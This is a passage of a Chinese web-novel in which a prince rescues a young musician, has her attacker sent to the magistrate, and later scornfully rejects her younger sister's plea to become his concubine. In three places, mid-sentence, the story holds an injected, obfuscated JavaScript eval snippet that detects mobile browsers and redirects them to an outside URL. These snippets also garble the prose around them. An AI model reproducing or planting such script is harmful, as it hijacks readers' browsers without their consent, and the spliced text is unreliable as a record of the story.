祈今歌长睫轻颤，轻声道：“嗯.....王爷金枝玉叶，为何要与这等渣滓较真，他的命不值钱，王爷您的名声确实要紧。他若是真的罪该万死，也该由官府的刽子手来行刑才是。” 她又一字一句道:“您不是问我想去做什么吗？刚刚我离开,也不仅仅是因为害怕，我只是想去报官，让官府的人来处理这件事。我不愿意让您沾上人命，哪怕这个人罪有应得。” 她的这番话听起来落落大方，如果不是脸上的恐惧还未彻底消除，大概看起来会更可信点。 尹长寻没有想到祈今歌竟然是准备去官府。 他还以为她是被自己吓到了，才慌不择路地逃跑。 尹长寻道：“你说是为了我，别是在哄我吧？” 祈今歌还真不是在哄他。 她是真的这么想的，所以说出来才能这么自然，才能这么不假思索。 她的害怕是真，不想看到尹长寻染血也是真，哪怕尹长寻要一个渣滓的命不需要付出任何代价，可是祈今歌也不愿意看到他杀人。 尹长寻在她眼里一直是高高在上、干干净净的，实在是不应该和人命二字有什么关联。 而尹长寻低头看着她，似要看个真切。 天知道他看到别人想要染指祈今歌的时候，他内心是多么地愤怒。 要是祈今歌真的遭遇到了什么不测，他难以想象自己会干出什么出格的事来。 现在，祈今歌还活生生地站在自己面前，没有受到任何伤害。 真好。 祈今歌被他毫不避讳的眼光看得浑身不自在，她微微别开脸，回答道：“我说的都是真的。” 尹长寻挑眉道：“是吗？那我相信你。对了，晚上太不安全了，我送你回家。” 还没等祈今歌点头，他又补充了一句。 “别想拒绝，刚刚才死里逃生，好了伤疤忘了疼，这就不害怕了？” 他好霸道啊。 祈今歌心想。 所有人都以为尹长寻冷漠又不羁的外表下是一颗热不了的心，祈今歌却知道，这颗心下面还有着旁人所不知的偏执。 只是这份偏执，一般人难以窥得冰山一角。 此情此景，她怎么可能拒绝尹长寻的提议。 虽然此地和自己家的距离也不算太远，可是谁又能预测到接下来会发生什么呢？ 就好像自己离开百影楼之时，也未曾想到会有此一劫。 于是她乖巧的点了点头，接着便是有些不安的问道：“那.....那个人怎么办？将他扔在这？要不，还是先去交给官府才是。” 尹长寻不以为意道：“还有口气，跑不了，死不了。你放心，等会我会差人把他送到官府，听候发落，用不着大晚上你两条腿跑过去。” 祈今歌松了一口气，同时也很意外，尹长寻竟然就这么听了自己的话。 他刚刚明明恨不得直接打死张麻子，一看就没想给他留活路，现在竟然一下就听她的话，转变主意，答应送去衙门了？ 这种待遇，上辈子她可没享受过。 尹长寻往前面走了两步，转过头来看了看还停留在原地的祈今歌，她不知正想着什么想着什么，一副出神的样子。 尹成寻玩笑道：“怎么，走不动道了？要我抱着你回去吗？我很乐意效劳。” 玩闹之中亦有几分认真。 都什么时候了，他怎么还有心情开玩笑！ “我自己会走。” 祈今歌哪经得起他这般调戏，回过神来，便三步并作两步地走向了尹长的身边。 她心中的恐惧因尹长寻的话而被冲淡了不少，祈今歌伸出手轻轻揉了揉脸颊，仿佛这样就能拂去脸上因为害羞而燃起来的余温。 35. 拥抱 尹长寻和祈今歌并肩齐走。 祈今歌的心情虽然平复了下来，但是她的脑子里很乱，像是千万跟丝线缠绕在了一起，让她理不出头绪。 她有很多问题没弄明白，却不知道要从哪一个开刀，于是索性不再多想，问了一个最想问的。 “王爷，您怎么会这个时辰出现在这呢？” 想起来，他不是好几天都没出现了？ 更别说尹庆王府离这里远得很，也不顺路，尹长寻连路过的理由都没有。 只是这事并没有祈今歌想的那么复杂，说起来还真是巧合。 百景楼的事既然委托给了明正，尹长寻就不再花什么心思。 他和明正幼年相识，别人不了解他，尹长寻却是熟悉的。 他虽然平日里不务正业，可是他脑子转得快，只要认真起来，摆不平的事还真不多。 虽然尹长寻并不在乎百影楼这点钱，当初买下来也是一时兴趣，但是如今能靠着这个地方，和祈今歌多见几次，他还真不想这个地方倒闭了。 至于他？ 这几天金利和李别肃邀这他一块去云州附近的山林打猎，他这几日便和他们混在一起。 今日回来得晚，从山林骑马进城回来的时候，天色就已经不早了。 此刻正是往日百影楼即将下工的点，尹长寻好几天没见祈今歌，心想，不如趁此机会去堵她，看看能不能碰个正着。 于是他便勒了缰绳，伴随着一声马蹄，调转了方向。 才刚下马，就看到祈今歌出了百影楼大门。 当时尹长寻就在祈今歌百米开外的地方，只要她稍稍往四周多看一眼，就能注意到尹长寻的身影。 可是今天的她似乎有些心不在焉，眼神迷离，看起来若有所思的样子，目光并没有朝着前方扫去。 反而是直接一拐，走向了回家的路。 尹长寻刚准备上前叫住她，却意外的发现一身型健硕，浑身邋遢的中年男人不知道从哪个角落里突然钻了出来，眼神死盯着祈今歌背影，迈步跟了上去。 尾随女子，能有什么好事？ 尹长寻心里只感觉不妙。 于是他也跟了上去。 他倒要看看，这男人到底要耍什么把戏。 于是就有了刚刚这一遭。 现在，尹长寻只觉得庆幸。 幸好他今日突然就想再见一见祈今歌，幸好他刚好撞见了祈今歌。 光是想到她刚刚可能会遭受的不测，他就恨不得把那个渣滓碎尸万段。 若果一旦成真，尹长寻自己都不确定，他能干出什么事来。 尹长寻的回答很是坦荡。 “今天刚好打猎回来路过百影楼，看到张麻子鬼鬼祟祟跟在你身上，我便也跟着了，想看看他到底想干什么。” 原来如此。 只不过祈今歌明白，其他的事不多，尹长寻口中的路过这件事一定是假的。 云州城东西南北四个城门，无论从哪个城门对应的大道出发，根据百影楼的位置，都不存在路过这一说。 所以尹长寻一定是特意来的。 祈今歌实在是有些感动，劫后逢生，她甚至有些想落泪。 哪怕是死过一次的人，她也是怕死的。 没有人喜欢死亡的感觉。 尤其是临死时的恐惧，足以让人头发发麻。 如今，女子失贞是一件比死亡还要恐怖的事，不止被伤害的人会觉得再无脸面活下去，周围人也大多都是唾弃的态度，为守贞而死反而倍受推崇。 守贞，仿佛是对一个女子最基本的要求。 上辈子的祈今歌也和大多数女子一样，认为贞洁乃是天大的事，可她已然是活过两世的人，跨过生死门槛，她已经心境大变。 她明白，除去生死，皆无大事。 所以在尹长寻没有现身之前，她已经在心里下定决心，就算失去贞洁，背负种种非议，她也要活下来。 只有活下来，才能谈日后的一切，也只有活下来，她才能让害他的人付出代价。 她下定了决心。 可是尹长寻的出现，却让她不用面尽这种的风险。 她怎么可能不动容呢？ 更别说他还一而再再而三的帮助过自己。 如果说尹长寻之前对她的好，她还可以说自己不需要，也不在乎。 可今晚的她无论如何也不能再嘴硬，也不能再逞强了。 祈今歌将视线别开了。 她怕再多看一眼，她便会流泪。 于是她换了个话题：“王爷，您觉得，这张麻子为何会跟着我？” 尹长寻听见她这话，觉得有些奇怪。 他不觉得祈今歌会想不明白这件事。 她看了一眼祈今歌，哪怕仅仅是看着她的侧颜，也不得不感慨这完全称得上完美无缺的一张脸。 尽管尹长寻并非因为祈今歌的容貌而在意他，但也不得不承认，普天之下，能见到这样娇艳的面容还无动于衷的人，绝对是屈指可数。 他在百影楼看戏之时，也不是没见过宾客之中不少年轻男子，仅仅是鼓起勇气和她搭了一句话，便已经脸红心跳。 而张麻子这种人，身无分文，游手好闲，整日干些偷鸡摸狗之事，连进百影楼看一眼的资格都没有。 绝对是因为色胆包天，想要一亲芳泽，所以才做出了这等丧心病狂之事。 尹长寻想到这点，一阵恶寒，神色阴沉了下来，说话的声音低了许多。 “还能因为什么，好色之徒做出这种事并不稀奇。” 祈今歌却不这么觉得。 如果真是这样，也没有问的必要了。 祈今歌道：“王爷，我刚刚想了想，此事应该并不如您想的那样。方才张麻子欲轻薄于我时，曾说过是有女人指示她，还说事成以后，会给他钱财作为报酬，再加上如您所言，张麻子是直接在暗处守着我的，可见这应不是他临时起意，而是蓄谋已久。” 尹长寻听得一怔，停下了脚步，转身看向祈今歌。 他道：“张麻子说过这种话？” 当时为了不打草惊蛇，隔着一段距离，尹长寻是听不清楚祈今歌和张麻子之间的谈话的。 祈今歌点了点头，快速整了思绪后，才道：“没错，要是一般人受人所托，大概不会这样一开始就嘴上没个把关，事情还没办成，就口无遮拦。可是张麻子哪里还守这样的规矩？他原本就是地痞流氓一样的人，自然有什么说什么，丝毫不会注意这样可能后患无穷。” 尹长寻听得胸口一睹。 从小在皇宫长大，他早就知道女人之间的斗争一点都不输给朝堂前的君王与臣子的权术之争。 可后宫的女人斗得你死我活，往往是为了荣华富贵，是为了家族利益。 再不济，也有极少数的人是因为爱上了帝王。 可是祈今歌得罪谁了？ 她不过是一名琴师，规规矩矩的干着属于自己的事，领着月钱，过着属于自己的日子。 甚至男人给她豪掷千金，她都通通退还。 就这样的一个人，竟然还有人在背后恨他入骨。 尹长寻道：“所以你的意思是希望我揪出幕后使者？” 祈今歌注视着尹长寻，郑重道：“嗯。虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457688|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也知官府不会包容张麻子这号人物，可是我也不觉得他们会多上心。我希望庆王您能和官府多提几句，让官府帮忙揪出始作俑者，有您的面子在，他们一定不会草草结案，而是给一个满意的答复。” 尹长寻点了点头，算是把这件事应下。 别说这事是祈今歌头次开口主动求他，哪怕她不说，自己既然已经知道了这件事，那便不可能善罢甘休。 两人又是一阵沉默，不一会儿，便已经走到了祈今歌的家门口。 周围依旧是安静，街道上看不到别的人，但邻居家亮起了灯火，也总算是有了人气。 感谢的话已经说了，祈今歌原本想邀请尹长寻要不要进来坐坐，喝杯茶了再走。 对待救命恩人，这应是最基本的礼数。 经此一劫，祈今歌不会再像以前那样，时时刻刻想和尹长寻保持距离。 他就像是今夜高悬在夜空的明月，为处于黑暗之中的她洒下了一抹清亮。 她怎么会讨厌拯救了自己的月亮呢？ 只是她终究没有开口，今天发生的一切太过惊险，她没了应付任何人的心情。 若果有机会，日后她向好好地答谢一次尹长寻，但是不是现在。 现在的她只觉得万分疲惫，浑身无力，像是失去了刺的刺猬，眼下正是最为脆弱的时候。 于是祈今歌只是简单地再次答谢，又叮嘱尹长寻路上小心。 尹长寻知她心情不佳，在加上张麻子那里还等着他处理，便也没多说话，也只是让祈今歌好好休息。 尹长寻道：“你先进去，看了你进门，我才安心。” 祈今歌摇头，坚持道：“这里已经很安全了，周围都有邻居住着，我也不方便送王爷您离开，就让我看着您走吧，也让我心里好受点。” 尹长寻静静地看着她，不再坚持。 祈今歌目送尹长寻远去。 等到尹长寻的身影逐渐化成了一个点，祈今歌才转身，重重地叹了一口气，心里不知为何，涌上了一股酸涩之感。 好一会，祈今歌才开始掏出钥匙，转身准备开门。 钥匙还未对准锁孔，祈今歌听见有人唤她。 “祈今歌。” 尹长寻的声音蓦地从身后传来。 祈今歌一惊，他不是走了吗？怎么又回来了？ 只是她还没来得及转身，便被尹长寻从身后拉住手腕，一把抱在了怀里。 少年胸膛宽阔，哪怕是隔着丝绸，尹长寻炙热的体温也传递了祈今歌的肌肤上。 “你……” 祈今歌惊讶地说不出话来。 等她反应过来以后，她也没有推开尹长寻。 因为少年抱着她，微微颤抖。 他在害怕。 明明强大到靠武力可以一招制服张麻子，明明凭借自己的权利可以让张麻子死无葬生之地，可是他此刻，却在害怕。 不是因为他自己怕，而是因为她。 是在害怕她受到伤害，害怕失去她吧？ 他像是要再次确认祈今歌安然无恙一样折返回来。 似乎只要亲自触碰到她的肌肤，感受她的体温，才能彻底安心下来。 她从未看过尹长寻如此时此刻这样脆弱过。 祈今歌：“.......” 她也不清楚自己怎么想的，只觉得脑子里一团浆糊，像是想了很多，又像是什么都没想。 她只是任由尹长寻抱住自己。 两人并不说话，只是在这夜色中沉默着、感受着。 良久，祈今歌伸手轻抚上了尹长寻的背，安慰道：“我没事的。” 36. 请求 尹长寻与祈今歌分别还没多久，阿右便牵着一匹马从远处走了过来。 被打得奄奄一息的张麻子已经彻底糊昏迷过去，已经用麻绳五花大绑了起来，架在了其中一匹马的马背上。 出了阴暗无光的巷道，尹长寻才得以借着周围住宅窗户处透出来的烛火之光，得见张麻子的真面目。 身材五大三粗，眉梢处有一道明显的陈年疤痕，鼻翼两边的麻子尤为明显，让本就不怎样长相看起来更加狰狞。 他的衣服陈旧，也不知道多少天没洗，上面分布着十分明显的污渍，再加上身上还有一股怪味，实在是让人看了嫌弃。 “王爷，已经处理好了。” 尹长寻点了点头，阿右作为跟随自己多年的侍卫，这种事早就已经处理的轻车熟路，他压根不用费心。 “王爷，是直接杀掉还是？” 询问的话语，话却只说了一半，像是征求面前之人给出的第二个处理办法。 但是说话之人的语气又无疑是默认他的主人会选择前者。 毕竟尹长寻当时几乎是不假思索，径直冲上前解决了张麻子。 而不像以往般云淡风轻地挥挥手，由跟在身后的阿右出手。 这已经能说明尹长寻当时已经极度愤怒，否则断然不会自己动手。 阿右的判断无疑是对的。 尹长寻当然恨不得这个张麻子现在就死。 在看到男人的脏手碰到祈今歌身体的瞬间，内心沉睡的野兽仿佛咬破了牢笼牢笼，开始吞噬一切。 一想到这种肮脏之人甚至还碰了祈今歌，尹长寻想要砍掉他双手的欲望又再一次燃起。 他都忘记自己多久没有这样愤怒的情绪了。 这种人渣败类关在牢里都是浪费粮食。 而他作为大宇的王爷，处置一个毫无价值的流氓，没有任何人会质疑他，他甚至可以做到不留任何痕迹。 然而…… 他才刚刚答应祈今歌，不会擅自要了张麻子性命，要交由官府处理。 他不愿意失信于她。 “不。” 尹长寻想起了那双清澈的眼睛，犹豫了会，才说道：“你将他直接扔给衙门处理。对了，交给官府之前，记得另一只手臂也给他废了，留他一条狗命已经算他运气好。” 阿右道:“既然要报官，总要那位姑娘跟着一起说明情况，才方便官府形事才是。” 尹长寻道:“她今日受惊了，不便处理此事。你把这个拿去，官府依然会受理。” 尹长寻从衣襟内掏出一块金制的腰牌，牌面浮雕“庆王”二字，令牌的四角边缘刻着游龙纹，做工精巧至极。 这是让他借着王爷身份形个方便的意思。 阿右伸手接过了令牌。 尹长寻吩咐道：“除了说清楚前因后果，你也要提醒他们，此人背后极有可能受人指使，必须让他们好好盘问，就说庆王府等着他们的回复。” 阿右何曾见过王爷对他人的事如此上心，他的内心无疑是十分惊诧的，然而他定了定神以后，还是如往常一样点了头。 两人站在沉默了一会，尹长寻又道:“阿右，从今天起，你负责暗中保护祈今歌。” 阿右终于是被尹长寻的不对劲震惊到了，然而他又不敢越了规矩，只是低头敛眉，再次确认道：“王爷，就是刚刚的那位姑娘？” 不怪阿右如此反应，他和阿左虽然年纪不大，保护的却从来都是皇亲国戚等地位显赫之人，哪有保护平民的先例。 而他和阿左因为武艺高超，甚至一开始是直接保护先帝，后来被指派给尹长寻，从此以后，再未换人过。 换句话说，庆王几乎是他们二人陪伴着长大的。 自家主子是个什么性格，不说他了解的分毫不差，却也是知道个十有八九了。 这么多年，喜欢自家主子的人多了去了，尹长寻哪里把什么女子当回事过？ 无视，便是他的态度。 如果只是一般的人，怎么可能让尹长寻下令自己保护。 尤其是这个保护的对象还是个貌若天仙的姑娘。 这让阿右怎么能不多想。 他又不是不通男女之事。 尹长寻对他震惊的态度不以为意，只道:“嗯，她不喜欢被人盯着，你要保护得隐蔽点，别被她察觉，明白？” 阿右嘴角一抽。 他心道，他的主人何尝是个注意这些细枝末节的人了？ 派皇家侍卫保护一个民女就已经够破天荒了，竟然还得小心翼翼地保护着。 这天下觊觎貌美的女子多了去了，难道还能每个都派人守着不成？ 阿右心中虽然觉得尹长寻未免关心则乱，有些大题小做了，但是也不敢多说什么。 主子如今真是转了性了，对这位姑娘简直捧在手里怕摔了，含在嘴里怕化了。 这段时间主子是有不少改变，他是知道的。 最明显的就是三天两头会和明正那帮兄弟出门打发时间。 只不过尹长寻并不愿意暴露他的身份，每每出去之时，都没有带上侍卫和奴仆。 这也不是什么大问题，毕竟云州的治安还算可以，尹长寻又有武艺傍身，一般人是根本不可能拿他有什么办法。 这就是因为这个原因，阿右是不清楚尹长寻这段日子在哪里，忙什么，又遇见了哪些人。 也因此不知道祈今歌的存在。 而最近这几天尹长寻带着他出门，也是因为秋意渐凉，正是狩猎的好时机，尹长寻知他箭术厉害，这才让他跟着一同去了山林。 之前尹长寻回府的时候，若是有心，也能注意到尹成寻的心情的比在上京之时好很多。 这无疑好事。 无论陪伴他俩主子的人是谁，总好过尹长寻在皇宫一人寂寞。 只是阿右现在想，或许他还是判断错了。 让庆王有如此变化的，或许不是那三个男人，而是主子刚刚救下的女子。 阿右不想掺和尹长寻的感情之事，作为侍卫，他无权过问，但作为陪伴在尹长寻身边多年的人，他却不得不多想。 历来只有名门大户的女子才能配得上王爷，作为庆王的亲卫，阿右当然是希望他能娶一位全天下最好的女子。 主子不近女色也不是一天两天，如今铁树开花，开的却不恰如其分。 王爷刚下救下祈今歌的时候，他虽只是在远处惊鸿一瞥，当然也得见她乃天姿国色，若是只论相貌，当然是配得上王爷。 若是论容貌，依然是配得上的。 可皇家最不缺的便是美人...... 更何况，作为大宇的王爷，若是作正妃，还得当今天子同意。 对于主人来说，他最需要的正妻，并不是空有样貌的绣花枕头。 若是王爷真是喜欢，当个姬妾便也罢了。 可如今竟然派贴身护卫守着她，还为他如此费心，还让官府严查幕后凶手，怎么看也不是对玩物的态度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457689|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕...... 恐怕王爷对这名女子的喜爱程度远远超过自己的想象。 阿右希望尹长寻动心，但是也不希望他对这名女子太过用心。 饶是心中千回百转，阿右也只能将这些心思全部掩藏于心，他承诺道：“请王爷放下，属下一定保证祈姑娘万无一失。” * 尹长寻骑马回了府。 才刚下马，便见一女子正在王府大门前和守卫争吵。 “走走走，什么阿猫阿狗也想见王爷，你谁啊你。” “你听不懂话吗？王爷不在，一早上就出门了，就算他在，也不可能见你！” “哎哎，你这小姑娘长得倒是挺好看的，怎么听不懂人话？再不离开小心我对你不客气。” 尹长寻走上前去，还没走到门口，守卫们就眼尖地看到了他，立马齐齐恭敬行礼道：“王爷！” 少女闻言，立马回过头来。 当目光落在尹长寻身上的时候，她明显有一瞬间的失神。 “王爷！” 女子娇媚的呼唤着，仿佛二人很熟一般。 其中一名守卫赶紧解释道：“王爷，实在抱歉，我们打发她走了，她非要死乞白赖的要见您！怎么都不肯走！” “谁死乞白赖了！我说了，我找王爷有要事相商！” 尹长寻看了女子一眼。 她一张脸生得秀丽绝伦，眉眼浓郁，双唇红润，配上肤白若雪的肌肤，真是美得让人魂魄飘浮。 这是一张与祈今歌有九分相似的容貌。 尹长寻心下了然，这不是祈今歌的妹妹吗？ 距离上次和她在殷府相见府过去好几个月了，此后二人并无交集，她怎么会出现在自己府邸？ 尽管不解，但是不看僧面看佛面，她好歹也是祈今歌的妹妹，思及至此，他的态度也软了几分。 于是他道：“你是殷府的祈明珠？” 少女笑靥如花的样子，庆王殿下果然还记得她！ 祈明珠激动道：“王爷，您竟然还记得奴婢？奴婢正是祈明珠！当日在殷府，是我和我姐姐在最后给您献艺的。” 殷府宴会当日，他对祈家姐妹二人并无兴趣，就连名字都是殷夫人主动告知的。 而自从那个毫无缘由的梦开始，尹长寻就越来越在意那日在殷府所见到的祈今歌。 但对于祈明珠，尹长寻却并没什么特别的感觉。 如果不是她今日贸然出现，他几乎已经要彻底忘记这个人了。 “你找我有事？” 尹长寻问的直接。 一般人根本没有见他的资格。 但是他可以给祈明珠这个面子。 或者说是给祈今歌的妹妹面子。 她说有要事相商，他便看看她到底所为何事。 祈明珠看了一眼守在门口的几个侍卫，面露难色，看向尹长寻的眼光里也写满了欲言又止四个字。 尹长寻抬了抬手，示意挡在门口守卫给祈明珠让开了一条路。 “进去再说。” 二人一前一后进了前厅。 尹长寻坐在了正方的主椅之上，道：“坐吧。” 祈明珠却没有坐下。 她的心脏“砰砰砰”地直跳，紧张的不行。 她告诉这是自己最后一博的机会，于是她咬了咬唇，狠了狠心，直接“噗通”一声，双手扶地，低垂着脑袋，跪在了尹长寻的面前。 “王爷！求您救救奴婢吧！” 37. 廉价 再一抬头，祈明珠巴掌大的脸蛋上已经挂上了两行清泪，这幅娇艳欲滴的样子，实乃我见犹怜。 尹长寻不明所以，不知道大晚上的祈明珠过来找一个只有一面之缘的人求救演的哪一出，于是他懒洋洋地支起自己的下巴，神色晦暗不明。 “救你？所为何事？” 祈明珠见他又记得名字，又不似宴会当日那样冷淡，反而对自己的话饶有兴趣，内心喜不自胜。 “王爷可记得那日殷府相会？” “自然。” “当日王爷对奴婢和姐姐二人表现不甚满意，可是奴婢必须和您解释，当日是奴婢突然身体不适，才会如此！” 祈明珠解释着那日的失误，只想抹去自己在尹长寻眼中不堪的印象。 她泪眼婆娑道:“其实殷夫人原本是想将我和姐姐送予王爷为妾，可依照那日的情形，也只能作罢。如今殷夫人要将奴婢许给富商鲁庆为妾，小女子是万万不肯从，求王爷救奴婢一命！小女子日后定然做牛做马报答！” 鲁庆？ 尹长寻知道这个人，他在云州很出名，可以说的上是无人不晓。 此人也是在尹长寻来柳州以后，曾经前来登门拜访的人之一。 云州最大金铺的老板，实力雄厚，他的致富之路也是为人津津乐道的传奇。 听闻鲁庆年轻之时，家中一穷二白，只不过是穷小子一个，而他的夫人何静芳则是商户人家出生，家中又只有她这么一个女儿，父母疼爱的很，不说锦衣玉食，但也算得衣食无忧。 因缘际会下，鲁庆和何静芳相知相识，私下互订终生，而何静芳的父母面对这么一个穷得叮当响的穷小子，对这桩婚事是强烈反对。 婚姻大事，向来是讲求父母之命，媒妁之言。 可何静芳偏偏不从。 为了和心上人长相厮守，她整整绝食了七天，几乎已经没了命，只为求得一个能够和鲁庆终生厮守的机会。 何氏夫妻哪知道女儿决心如此坚定，为了女儿的性命，最终不得不点头同意。 二人成婚以后，何氏夫妻为了女儿的日后幸福着想，老两口掏出多年的积蓄，给了鲁庆一大笔钱，让他和女儿一起做点小本买卖。 可没想到这对小夫妻倒是争气，生意越做越大，就像是财神爷附体了一般，最后鲁庆竟然成为了云州名副其实的首富，曾几何时，这段姻缘也成为了云州城最为著名的一段佳话。 可没想到两夫妻只能共患难，难以同甘甜。 在鲁庆发达后，和他财富一样广为人知的，便是他的风流韵事，家中光是小妾就有六七个。 他家如花似玉的小妾和夜叉似的正妻何静芳的斗争故事，十天十夜也是说不完。 哪怕是尹长寻对他人并不在意，也听明正他们提起过这位云州首富的风流韵事。 然而纵然何静芳对这些女人再严防死守，鲁庆不收心，年逾五十还到处沾花惹草，她也是毫无办法。 祈明珠便是这第九房小妾。 只是，这和尹长寻并没有什么关系。 “哦？”尹长寻看着她，语调里带着玩世不恭的笑意，问道：“嫁予那鲁老爷你倒是也吃喝不愁了，也算不得不好的出路，你竟然还不愿意？” 尹长寻的意思再明显不过——鲁庆配祈明珠已经是绰绰有余。 原本就是豁出一切才下定决心来找尹长寻，纵然听出他这番话里面有瞧不起自己的意味，祈明珠也只能咬咬牙，将之前在内心已经演练过几十次的话一股脑地说出来。 “庆王殿下，论财富，论地位，我的确高攀鲁老爷。可他毕竟五十有二，又喜新厌旧，他那大老婆又出了名的泼辣，恐怕我嫁了过去，也和之前的那几任妾室一样没什么好日子过。若非如此，我也是在是不愿意向王爷您开这个口。” 祈明珠所言，不可谓不是发自肺腑，说的倒也情真意切，可是只要是认真听了，便也明白祈明珠之所以抗拒这桩婚事，无非就是嫌弃鲁庆相貌丑陋，以及惧怕何芳静这位正妻罢了。 原本祈明珠以为如当初自己所言，只要吃喝不愁，她什么都能忍。 可是这么多年了，她陪客人的时候，不是没有人动手动脚，可是终究是没有过太亲密的行为的。 毕竟她是殷夫人最为悉心栽培的金丝雀，在没有找到为出得起价的买主之前，无论祈明珠自己怎么想，殷夫人也绝对不允许她失去清白之身。 但这一次不同，因为她的失误，她得罪了殷夫人，夫人铁了心不能再继续容她。 自从殷夫人点了头，答应将自己送给鲁庆以后，鲁庆便越发急不可耐，祈明珠还没过门，他便又来过殷府几次，每一次是对祈明珠又亲又摸，一副色中饿鬼，恨不得把事情立马办了的态度。 祈明珠这才明白，有些事不像自己想的那么简单。 自己根本没有想象中那般能忍耐。 每次鲁庆亲近她，她就止不住的恶心反胃。 想到日后要在他身下承欢，祈明珠就更加难以忍受。 每每这时，她就会想起曾经惊鸿一瞥的尹长寻。 如果是高贵的庆王殿下对她这样，那她一定不会讨厌的。 越想，心里就越不甘心。 那一团小小的不甘随着婚期的推进像是被点燃的稻草一样熊熊燃烧了起来，渐渐烧的她抓心挠肺，难以平静。 所以她要来找她心心念念的庆王殿下。 虽然她知道，尹长寻连云州有名有姓的人都不太给面子，可能尹长寻根本已经忘记她这个人了，可是他是她唯一摆脱鲁庆的机会，她必须为自己争取。 一则，她心悦于他，二则，也只有尹长寻这种有权有势的人开口，才能让殷夫人改口，让她不用伺候鲁庆这个糟老头子。 尹长寻面上不动声色，慢悠悠地问道：“依你之见，我该怎么救你？” 想到接下来说的话，绕是祈明珠也心头一热，脸红了起来。 她定了定心神，朝着尹长寻重重一拜，诚恳道：“奴婢所求只为一事，只希望王爷能够收下奴婢！” 她话说的隐晦，然而“收下”二字意味着什么，自然不言而喻。 尹长寻抬眼看了一眼祈明珠。 初见之时，的确看起来有九分像祈今歌，但是现在看来，却一点也不像。 他沉默不语，既不答应，又不拒绝，一分一秒的等待都让祈明珠觉得分在难熬。 良久，他才吭了声。 “你今年多大了？” 祈明珠听他接话，内心不胜欢喜，若非对自己有兴趣，又怎会多此一问。 她连忙回答道：“奴婢今年十六。” 十六啊。 尹长寻感慨，比祈今歌还小两岁呢。 纵然是小两岁，却比她姐姐识时务的多，哪怕马上就要嫁人了，还知道舍下面子来搏一搏。 只要能爬向更高处，就一定要抓住一切机会试一试。 要是成了最好，就算是不成，大不了丢了个面子，也算不得什么。 相比起她妹妹的精明，祈今歌愚钝的像块木头。 实在是太愚蠢了，连趋利避害，见风使舵都不会，真不知道她是怎么在殷府这个大染坊长大的。 但是...... 尹长寻想，自己并不讨厌这份愚蠢。 想到这，尹常寻又接着问道：“你为什么要找我？” 祈明珠红着脸回答道：“当然是因为、因为那日宴会一见之后，小女子对王爷已经、已经芳心暗许了。” 她此刻的模样真像是含苞待放的花骨朵，看起来欲语还迎，任谁见了都不会不为所动。 祈明珠说的话真假参半。 真的是她的的确确喜欢尹长寻，这样一个天神似的人，谁会不喜欢？ 更别说他还有着这么显赫的家世和财富，如果不是意外来到云州，祈明珠一辈子都不可能接触到这号人物。 假的是她并非是因为喜欢尹长寻就来找他。 原本她是打算按照殷夫人的安排就此找个富人嫁了，只要模样过得去就行。 可哪想到殷夫人找谁不好，偏偏找了鲁庆？ 诚然，将祈明珠送给鲁庆这名云州首富，无疑对殷夫人有极大的好处。 可偏偏鲁庆太老太丑，祈明珠是在难以下口。 如果殷夫人找的人是一名模样周正的人，她今天也不会厚着脸皮前来求殷长寻。 一个糟老头和尹长寻比起来简直是云泥之别！如此巨大的落差，她怎么能接受？ “不愿意？你可以像你姐姐一样离开啊？你不是一直可以选择吗？不就是过穷人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尹长寻讥讽道：“你凭什么觉得我在殷府没看上你，你现在只需要动动嘴皮子我就会接受你？原本便也不值钱，现在上杆子送上门更是卖不上价。” 从小到大，祈明珠不是没听到难听的话，污言秽语、冷嘲热讽她都已经可以做到当耳旁风，她知道自己身份卑贱，这些都该自己受着。 殷夫人也常说，红芳庭的人就是用来卖的，除了价格，和猪狗牛羊一样没什么区别。 所以尹长寻说的话，并不算多过分。 可是祈明珠喜欢尹长寻。 他的每一个字都凝结成了无数细小的冰柱，直接重重地砸在了她的心上，冰冷又刺骨。 比以往任何冷言冷语更让他感到寒冷。 祈明珠脸色煞白，好半天才说出一句：“王爷，我是真心喜欢你的，难道我做妾都不配吗......” 祈明珠不明白自己哪里做错了？ 她生得如此好看，且不说自己什么都不做，就有一堆男人垂涎自己的美色，若是自己有意，她就不相信有男人能坐怀不乱，就算尹长寻贵为王爷，可是他终究只是个男人！ 为什么他对自己就是这么不屑一顾？ “够了。”尹长寻黑沉沉的双眸抬起，不再看跪在自己面前的祈明珠，不耐烦地摆了摆手：“我对主动投怀送抱的女人没兴趣，别浪费我时间，快滚。” 事已至此，祈明珠颜面扫地，哪里还有脸继续待在这？难道还要等主人继续下逐客令，派人把自己架出去吗？ 她面色发青，麻木地起了身，步履千斤重。 走出王府大门的时候，她忍不住回头再看了一眼。 内心的屈辱感挥之不去。 凭什么，凭什么尹长寻这么看不起自己？ 自己都放下脸面求他了！ 瞬间，祈明珠内心绝望至极。 难道自己在尹长寻的眼里，做个低贱的妾室的资格都没有吗？ 祈明珠不甘心，却不得不继续往前走。 